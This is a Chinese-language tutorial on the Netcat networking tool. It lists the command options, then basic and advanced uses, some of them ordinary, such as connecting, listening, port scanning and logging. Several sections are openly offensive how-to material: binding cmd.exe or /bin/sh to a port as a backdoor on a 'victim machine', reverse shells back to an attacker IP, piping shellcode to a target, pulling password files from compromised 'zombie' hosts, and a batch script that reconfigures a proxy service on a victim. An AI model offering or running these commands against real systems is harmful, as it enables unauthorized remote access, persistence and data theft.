资源介绍
软件介绍:
工具名:Netcat
作者:Hobbit && Chris Wysopal
类别:开放源码
平台:Linux/BSD/Unix/Windows
WINDOWS下版本号:[v1.10 NT]
参数介绍:
*nc.exe -h*即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] …
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出–用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉–用于扫描时
端口的表示方法可写为M-N的范围格式。
========================================================
基本用法:
1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令”|”与重定向命令”<”、”>”等等命令功能更强大……)。
========================================================
高级用法:
6)作攻击程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送*c:exploit.txt*的内容(两种格式确有相同的效果,真是有异曲同工之妙.
附:*c:exploit.txt*为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用*-L*(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:log.txt
讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到*c:log.txt*中,如果把*>* 改为*>>*即可以追加日志
附:*c:log.txt*为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:honeypot.txt
格式2:type.exe c:honeypot.txt|nc -L -p 80
讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,并把*c:honeypot.txt*的内容*送*入其管道中
10) 后门
victim machine: //受害者的机器
nc -l -p port -e cmd //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
11)反向连接
attacker machine: //一般是sql2,远程溢出,webdavx3攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 cmd nc attacker_ip port2
nc attacker_ip port1 /bin/sh nc attacker_ip port2
139要加参数-s(nc -L -p 139 -d -e cmd -s 对方机器IP)
这样就可以保证nc优先于NETBIOS。
12)传送文件:
从肉鸡拖密码文件回来.
nc -d -l -p port < pathfiledest /*attacker machine*/ 可以shell执行
nc -vv attacker_ip port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出
//肉鸡需要gui界面的cmd里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
上传命令文件到肉鸡
nc -vv -l -p port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < pathfiledest /*attacker machine*/ 可以shell执行
//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.
结论: 可以传输ascii,bin文件.可以传输程序文件.
问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc .
或者只有再次连接使用pskill 杀掉进程.但是是否释放传输文件打开的句柄了?
13) 端口数据抓包.
nc -vv -w 2 -o test.txt [url]www.m4ker.net[/url] 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command “” unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized…
< 00000084 83 00 00 01 8f # …..
14) telnet,自动批处理。
nc victim_ip port < pathfile.cmd /*victim machine*/ 显示执行过程.
nc -vv victim_ip port < pathfile.cmd /*victim machine*/ 显示执行过程.
nc -d victim_ip port < pathfile.cmd 安静模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd
md test
cd /d %windir%system32
net stop sksockserver
snake -config port 11111
net start sksockserver
exit